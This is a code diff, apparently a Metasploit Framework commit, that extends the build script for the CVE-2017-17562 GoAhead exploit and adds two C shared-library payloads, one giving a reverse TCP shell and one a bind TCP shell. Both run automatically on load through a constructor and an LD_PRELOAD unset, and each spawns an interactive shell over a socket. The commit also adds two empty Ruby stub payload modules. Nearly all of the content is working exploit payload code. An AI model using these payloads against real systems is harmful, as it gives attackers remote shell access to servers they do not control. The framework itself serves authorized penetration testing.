Updated payloads and addition of payload stubs

data/exploits/CVE-2017-17562/build.sh

@@ -6,8 +6,8 @@ build () {
   CFLAGS=$3
 
   echo "[*] Building for ${TARGET_SUFFIX}..."
-  for type in {shellcode,system}
-   do ${CC} ${CFLAGS} -Wall -fPIC -fno-stack-protector -Os goahead-cgi-${type}.c -s -shared -o goahead-cgi-${type}-${TARGET_SUFFIX}.so 
+  for type in {shellcode,system,reverse,bind}
+   do ${CC} ${CFLAGS} -Wall -fPIC -fno-stack-protector -Os goahead-cgi-${type}.c -s -shared -o goahead-cgi-${type}-${TARGET_SUFFIX}.so
   done
 }
 

data/exploits/CVE-2017-17562/goahead-cgi-bind.c

@@ -0,0 +1,95 @@
+#include <arpa/inet.h>
+#include <netdb.h>
+#include <netinet/in.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#ifdef OLD_LIB_SET_1
+__asm__(".symver system,system@GLIBC_2.0");
+__asm__(".symver fork,fork@GLIBC_2.0");
+#endif
+
+#ifdef OLD_LIB_SET_2
+__asm__(".symver system,system@GLIBC_2.2.5");
+__asm__(".symver fork,fork@GLIBC_2.2.5");
+#endif
+
+static void _bind_tcp_shell(void) {
+
+  int sfd, fd, i;
+  struct sockaddr_in addr,saddr;
+  unsigned int saddr_len = sizeof(struct sockaddr_in);
+
+  char *lport = "55555";
+  char *shells[] = {
+    "/bin/bash",
+    "/usr/bin/bash",
+    "/bin/sh",
+    "/usr/bin/sh",
+    "/bin/ash",
+    "/usr/bin/ash",
+    "/bin/dash",
+    "/usr/bin/dash",
+    "/bin/csh",
+    "/usr/bin/csh",
+    "/bin/ksh",
+    "/usr/bin/ksh",
+    "/bin/busybox",
+    "/usr/bin/busybox",
+    NULL
+  };
+
+  sfd = socket(AF_INET, SOCK_STREAM, 0);
+  setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int));
+
+  saddr.sin_family = AF_INET;
+  saddr.sin_port = htons(atoi(lport));
+  saddr.sin_addr.s_addr = INADDR_ANY;
+  bzero(&saddr.sin_zero, 8);
+
+  if (bind(sfd, (struct sockaddr *) &saddr, saddr_len) == -1) {
+    exit(1);
+  }
+
+  if (listen(sfd, 5) == -1) {
+    close(sfd);
+    exit(1);
+  }
+
+  fd = accept(sfd, (struct sockaddr *) &addr, &saddr_len);
+  close(sfd);
+
+  if (fd == -1) {
+    exit(1);
+  }
+
+  for (i=0; i<3; i++) {
+    dup2(fd, i);
+  }
+
+  /* Keep trying until execl() succeeds */
+  for (i=0; ; i++) {
+    if (shells[i] == NULL) break;
+    execl(shells[i], "sh", NULL);
+  }
+
+  /* Close the connection if we failed to find a shell */
+  close(fd);
+}
+
+static void _run_payload_(void) __attribute__((constructor));
+
+static void _run_payload_(void)
+{
+    unsetenv("LD_PRELOAD");
+    if (! fork()) {
+      _bind_tcp_shell();
+    }
+}

data/exploits/CVE-2017-17562/goahead-cgi-reverse.c

@@ -0,0 +1,81 @@
+#include <arpa/inet.h>
+#include <netdb.h>
+#include <netinet/in.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#ifdef OLD_LIB_SET_1
+__asm__(".symver system,system@GLIBC_2.0");
+__asm__(".symver fork,fork@GLIBC_2.0");
+#endif
+
+#ifdef OLD_LIB_SET_2
+__asm__(".symver system,system@GLIBC_2.2.5");
+__asm__(".symver fork,fork@GLIBC_2.2.5");
+#endif
+
+static void _reverse_tcp_shell(void) {
+
+  int fd, i;
+  struct sockaddr_in addr;
+  char *lport = "55555";
+  char *lhost = "000.000.000.000";
+  char *shells[] = {
+    "/bin/bash",
+    "/usr/bin/bash",
+    "/bin/sh",
+    "/usr/bin/sh",
+    "/bin/ash",
+    "/usr/bin/ash",
+    "/bin/dash",
+    "/usr/bin/dash",
+    "/bin/csh",
+    "/usr/bin/csh",
+    "/bin/ksh",
+    "/usr/bin/ksh",
+    "/bin/busybox",
+    "/usr/bin/busybox",
+    NULL
+  };
+
+  fd = socket(PF_INET, SOCK_STREAM, 0);
+  addr.sin_port = htons(atoi(lport));
+  addr.sin_addr.s_addr = inet_addr(lhost);
+  addr.sin_family = AF_INET;
+
+  memset(addr.sin_zero, 0, sizeof(addr.sin_zero));
+
+  for (i=0; i<10; i++) {
+    connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr));
+  }
+
+  for (i=0; i<3; i++) {
+    dup2(fd, i);
+  }
+
+  /* Keep trying until execl() succeeds */
+  for (i=0; ; i++) {
+    if (shells[i] == NULL) break;
+    execl(shells[i], "sh", NULL);
+  }
+
+  /* Close the connection if we failed to find a shell */
+  close(fd);
+}
+
+static void _run_payload_(void) __attribute__((constructor));
+
+static void _run_payload_(void)
+{
+    unsetenv("LD_PRELOAD");
+    if (! fork()) {
+      _reverse_tcp_shell();
+    }
+}

modules/payloads/singles/cmd/unix/bind_stub.rb

@@ -0,0 +1,43 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/handler/bind_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module MetasploitModule
+
+  CachedSize = 0
+
+  include Msf::Payload::Single
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Unix Command Shell, Bind TCP (stub)',
+      'Description'   => 'Listen for a connection and spawn a command shell (stub only, no payload)',
+      'Author'        => 'hdm',
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'unix',
+      'Arch'          => ARCH_CMD,
+      'Handler'       => Msf::Handler::BindTcp,
+      'Session'       => Msf::Sessions::CommandShell,
+      'PayloadType'   => 'cmd_bind_stub',
+      'RequiredCmd'   => '',
+      'Payload'       =>
+        {
+          'Offsets' => { },
+          'Payload' => ''
+        }
+      ))
+  end
+
+  #
+  # Generate an empty payload
+  #
+  def generate
+    ''
+  end
+end

modules/payloads/singles/cmd/unix/reverse_stub.rb

@@ -0,0 +1,42 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module MetasploitModule
+
+  CachedSize = 0
+
+  include Msf::Payload::Single
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Unix Command Shell, Reverse TCP (stub)',
+      'Description'   => 'Creates an interactive shell through an inbound connection (stub only, no payload)',
+      'Author'        => 'hdm',
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'unix',
+      'Arch'          => ARCH_CMD,
+      'Handler'       => Msf::Handler::ReverseTcp,
+      'Session'       => Msf::Sessions::CommandShell,
+      'PayloadType'   => 'cmd_reverse_stub',
+      'Payload'       =>
+        {
+          'Offsets' => { },
+          'Payload' => ''
+        }
+      ))
+  end
+
+  #
+  # Generate an empty payload
+  #
+  def generate
+    ''
+  end
+end